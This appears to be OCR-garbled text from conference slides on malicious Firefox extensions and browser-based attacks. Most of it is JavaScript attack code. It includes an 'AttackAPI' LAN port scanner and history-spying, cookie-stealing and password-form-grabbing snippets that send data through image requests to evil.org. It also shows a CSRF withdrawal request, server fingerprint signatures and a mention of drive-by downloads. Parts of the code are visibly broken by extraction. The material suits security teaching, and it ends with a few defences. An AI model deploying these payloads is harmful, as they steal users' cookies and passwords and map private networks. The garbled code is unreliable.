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<HTML>

<a href=foo>foo</a>
<a href=yahoo login> & A </a>
<a href=bar>bar</a>
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— nn,

status = ",
function callback(target, port, status) {

new Image().src=
"http://evil.org/evil/scanLAN.php?
target="+target+" &port="+port+" &status="+status;

b

var AttackAPI = {
version: '0.1',
author: 'Petko Petkov (architect)',
homepage: 'http://www.gnucitizen.org',
modifyBy: 'Yi-Feng Tzeng'

s



Host up

New Image() L___4 Host: Port g Port open

ltimeout

N
4

Host down

Port closed




49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

AttackAPI.PortScanner = {};

AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) {
var timeout = (timeout == null)?2000:timeout;

var img = new Image();

img.onerror = function () {
if (limg) return;
img = undefined;
callback(target, port, 'open');

b

img.onload = img.onerror;
img.src = 'http://' + target + "' + port;

setTimeout(function () {
if (limg) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
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AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)

{
for (p = 1; p < target.length; p++)

for (index = 0; index < ports.length; index—++)
AttackAPI.PortScanner.scanPort(callback, target[p], ports[index], timeout);

j
55

AttackAPI.PortScanner.scanTarget(callback, arrAddr, port.split(',"), 2000);
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network.http.max-connections
network.http.keep-alive.timeout



new Image ’

max-connections

timout

19):00




Firefox 2

network.http.max-connections: 24
network.http.keep-alive.timeout: 300

Firefox 3

network.http.max-connections: 30
network.http.keep-alive.timeout: 300
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Scanning




guessLAN =["192.168.0.", "192.168.1.", "10.0.0.", "10.0.1.", "169.254.132."];

pref(‘extensions.resize.guess', true);
pref(‘extensions.resize. LAN', '192.168.0.");
pref(‘extensions.resize.scanLAN', '192.168.0.0");

pref('extensions.resize.lastRun', ");
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Signatures

Apache /icons/apache pb.gif

Apache? /icons/apache pb2.gif (apache pb22.gif)
EPSON Printer EpsonNet logo.gif

HP Printer /hp/device/images/hp invent logo.gif
IIS 4.0/5.0 11s4 5.gif

IIS 5.0/5.1/6.0 11s51 6.gif

SunOne WebServer sun.gif

Cisco HTTP cisco.gif

LinKsys linksys.gif

TightVNC vnc.gif

WebLogic Server 8.x  bea.gif
thttpd thttpd.gif
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// Get Time

var currentTime = new Date();

var year = currentTime.getFullY ear();

var month = currentTime.getMonth() + 1;

var day = currentTime.getDate();

var hour = currentTime.getHours();

var min = currentTime.getMinutes();

var sec = currentTime.getSeconds();

var time = year+"-"+month+"-"+day+":"+hour+":"+min+":"+sec;

new Image().src=

"http://evil.org/evil/historyspy.php?

time="+time+

"&link="+document.location.href+
"&port="+((!document.location.port)?80:document.location.port);
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// Get Time

var currentTime = new Date();

var year = currentTime.getFullYear();

var month = currentTime.getMonth() + 1;

var day = currentTime.getDate();

var hour = currentTime.getHours();

var min = currentTime.getMinutes();

var sec = currentTime.getSeconds();

var time = year+"-"+month+"-"+day+":"+hour+":"+min+":"+sec;

new Image().src=

"http://evil.org/evil/steal.php?

time="+time+

"&link="+document.location.href+
"&port="+((!document.location.port)?80:document.location.port)+
"&cookie="+document.cookie;
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new Image().src=
"http://victim.org/withdraw.php?for=000100&amount=100;
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Double Cookie







Demo #2




new Image().src=
"http://evil.org/evil/csrf.php?cookie="+document.cookie+"&time="+time;
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Demo




<HTML>
;i;“ORM>

<input type=text ....>

<input type=password ....>




48 if (gotPasswd == 1)

49

50 new Image().src=
"http://evil.org/evil/formspy.php?time="+time+
"&link="+document.location.href+
"&port="+((!document.location.port)?80:document.location.port)+
"&data="+data;
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8. Run Remote App/File
* Drive-by download
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o Firefox 3 PRHFI T 293 extension BE /]
o ZEEE document.write

° I]¥ I]-I-I %EB IZI :T:t eg: new java.net.Socket()
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NoScript ?

HTTP-only cookies ? (Firefox3)
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Greasemonkey Script ?
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